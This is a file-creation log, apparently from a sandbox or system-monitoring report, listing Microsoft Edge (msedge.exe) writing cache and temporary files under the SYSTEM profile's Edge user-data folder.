Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\192386fd3846067f_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\fbfc2d62749078d1_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\fbfc2d62749078d1_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\dfd4ad20f3e95164_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\dfd4ad20f3e95164_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\d1c87e07019d8b4e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\d1c87e07019d8b4e_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\f7b67dad731ab807_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\f7b67dad731ab807_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\16f4e821b507362b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\16f4e821b507362b_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0b17bb7e9cf5a436_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0b17bb7e9cf5a436_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0f0839cc28cc3d3e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0f0839cc28cc3d3e_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\b5b383720128fe63_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\b5b383720128fe63_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\ec37128008082892_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\ec37128008082892_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\ee51d1c28e826730_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\ee51d1c28e826730_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\96e189d62afbdb94_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\96e189d62afbdb94_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\57e38f4d6de24451_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\57e38f4d6de24451_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\6389b23f4bc62c06_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\6389b23f4bc62c06_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\23a857e3f0a12e9b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\23a857e3f0a12e9b_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\819f3848762bde15_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\819f3848762bde15_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\b2ea075a80b7dff9_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\b2ea075a80b7dff9_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\773ec66002a68baf_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\773ec66002a68baf_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\3d49f14d5d581ae5_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\3d49f14d5d581ae5_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\4c7155fdcb357b2c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\4c7155fdcb357b2c_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0b596ddd81a3e04f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0b596ddd81a3e04f_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\ce9a2becd154cc0b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\ce9a2becd154cc0b_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0e1587ceb49a87ad_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0e1587ceb49a87ad_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\4086ead4c1270361_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\4086ead4c1270361_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\41ac4588896d4c6f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\41ac4588896d4c6f_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\a0aa60a133aba17b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\a0aa60a133aba17b_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\2733b1fa30133dc5_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\2733b1fa30133dc5_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\1e07c40510c25b09_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\1e07c40510c25b09_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0804dd4bedc4044a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0804dd4bedc4044a_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\008aecfeca5856cb_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\008aecfeca5856cb_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\62741acbd610245a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\62741acbd610245a_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\05299b87d8a10088_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\05299b87d8a10088_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\f0ce427b28da7d25_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\34d467f947acad13_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\aae27d8c-0c0e-4371-928a-b2d2faa2a2fa.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Local State~RF1fb82d.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\872b7b4f8bfb485b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\f7a02825bf690a95_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\65f701fc2d3b6d77_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\6c9220cc-d203-41ca-ad88-6712ed1838ea.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF1fbdea.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\960aaafa77fbb8a0_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\b851f156-c129-4d54-982c-e18bbd14889f.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF1fbe86.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\b849a2f19789767a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\67f1189172319be9_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\e6504c209cb882d7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\df9f3044c9ae2e2e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\3055e34b33d94a7f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\ea6f02895a4e3500_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\7c4863577c43b32f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\574b540795aeca12_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\9edf5f432f2b01a8_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\2a15b98971354678_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0a67355f432340b9_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\b9dcc9f4c807eeaa_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\321e64ecacb66619_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\153bba9a429a2c40_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\2e08a9c6ec333021_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\39c763e560200cda_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\6dcb70bdb8fe40a3_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\7ed93a10144ac834_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\264b46d61d915def_0
